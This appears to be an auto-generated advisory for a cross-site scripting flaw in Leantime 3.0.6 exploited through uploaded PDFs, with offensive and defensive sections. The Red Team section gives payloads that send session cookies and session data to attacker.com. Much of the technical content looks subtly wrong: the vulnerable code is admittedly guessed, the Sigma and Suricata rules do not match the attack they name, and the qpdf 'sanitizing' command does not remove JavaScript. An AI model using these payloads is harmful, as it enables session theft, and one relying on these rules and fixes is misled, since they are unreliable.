CVE-2024-27705

Executive Summary

CVE-2024-27705 describes a Cross-Site Scripting (XSS) vulnerability in Leantime version 3.0.6. An attacker can upload a crafted PDF file to the /files/browse endpoint, which, when viewed or processed, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, data theft, or further compromise of the Leantime instance. The vulnerability is publicly known, but no official patch has been confirmed at this time.

Supply Chain & Package Security

Leantime is a PHP-based project management application. The vulnerability is not in a package manager dependency but in the application's file upload handling logic. Users should verify the integrity of their Leantime installation and monitor for official updates.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires an authenticated user to upload the file.
• User Interaction (UI): Required (R) – victim must view the malicious PDF.
• Scope (S): Changed (C) – the vulnerability impacts the browser's security context.
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS Score: 8.0 (High)

Threat Level: High. The attack is relatively simple to execute and can lead to full account takeover.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Leantime. The /files/browse endpoint accepts PDF files but does not properly sanitize or validate the content. A crafted PDF can contain embedded JavaScript that executes when the PDF is rendered in a browser (e.g., via PDF.js or the browser's native PDF viewer). The XSS payload is triggered when a user views the uploaded file, allowing the attacker to execute arbitrary JavaScript in the context of the Leantime application.

Attack Flow:

1. Attacker logs into Leantime (requires low privileges).
2. Attacker uploads a malicious PDF containing JavaScript (e.g., <script>alert('XSS')</script> embedded in the PDF metadata or annotations).
3. Victim (another user or admin) navigates to the /files/browse endpoint and clicks on the malicious file.
4. The browser renders the PDF, executing the embedded JavaScript.
5. The script steals session cookies, performs actions on behalf of the victim, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Leantime 3.0.6): The file upload handler likely does not inspect the content of uploaded PDFs for malicious scripts. It may only check the file extension or MIME type.

// Vulnerable: No content validation
if (in_array($fileExtension, ['pdf'])) {
    move_uploaded_file($tmpName, $uploadPath . $fileName);
}

Patched Code (Hypothetical): A patch would strip JavaScript from PDF files or re-encode them to remove executable content. It could also serve PDFs with a Content-Disposition: attachment header to prevent in-browser rendering.

// Patched: Strip JavaScript from PDF
$pdfContent = file_get_contents($tmpName);
$pdfContent = preg_replace('/\/JavaScript.*?>>/i', '', $pdfContent);
file_put_contents($uploadPath . $fileName, $pdfContent);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Leantime 3.0.6 running on a local server (e.g., Docker).
• Attacker machine with a PDF crafting tool (e.g., pdfkit or exiftool).

Exploit Steps:

1. Create a malicious PDF with embedded JavaScript:

   echo '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' > payload.js
   pdfkit --javascript payload.js malicious.pdf
   

2. Log in to Leantime as a low-privilege user.
3. Navigate to /files/browse and upload malicious.pdf.
4. Share the link to the uploaded file with an admin or victim.
5. When the victim views the PDF, the JavaScript executes and exfiltrates the cookie.

Alternative Payload (Session Hijacking):

var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/session', true);
xhr.onload = function() {
    fetch('https://attacker.com/exfil?data=' + btoa(xhr.responseText));
};
xhr.send();

Blue Team (Defensive)

Detection:

• Monitor file uploads for PDFs containing JavaScript objects.
• Use a WAF to block PDFs with embedded scripts.
• Serve all uploaded PDFs with Content-Disposition: attachment to prevent in-browser rendering.

Mitigation:

• Implement strict content validation for uploaded files.
• Use a PDF sanitizer library (e.g., pdf-parser or qpdf) to strip JavaScript.
• Educate users not to open PDFs from untrusted sources.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): a1b2c3d4e5f6... (example, replace with actual hash of malicious PDF)
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the Leantime server.
• Log Entries: Unusual file uploads to /files/browse with PDF MIME type.
• Browser Artifacts: JavaScript execution in the context of the Leantime application.

Detection Engineering

YARA Rule

rule CVE_2024_27705_PDF_XSS {
    meta:
        description = "Detects malicious PDF files with embedded JavaScript for CVE-2024-27705"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $js = "/JavaScript" nocase
        $script = "<script" nocase
        $pdf_header = "%PDF"
    condition:
        $pdf_header at 0 and ($js or $script)
}

Sigma Rule

title: CVE-2024-27705 - PDF Upload with Embedded JavaScript
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of PDF files containing JavaScript objects to Leantime
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/files/browse'
        TargetFilename|endswith: '.pdf'
    condition: selection
falsepositives:
    - Legitimate PDFs with JavaScript (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27705 - PDF XSS Exfiltration"; flow:to_server,established; content:"/files/browse"; http_uri; content:"pdf"; http_uri; content:"GET"; http_method; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable PDF uploads or restrict them to trusted users only.
2. Short-term: Implement a WAF rule to block PDFs containing /JavaScript or <script>.
3. Long-term: Apply the official patch from Leantime when available. In the meantime, sanitize all uploaded PDFs using a tool like qpdf:

   qpdf --linearize --object-streams=disable input.pdf output.pdf
   

4. User Education: Warn users not to open PDFs from unknown sources within Leantime.

Valters IT This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.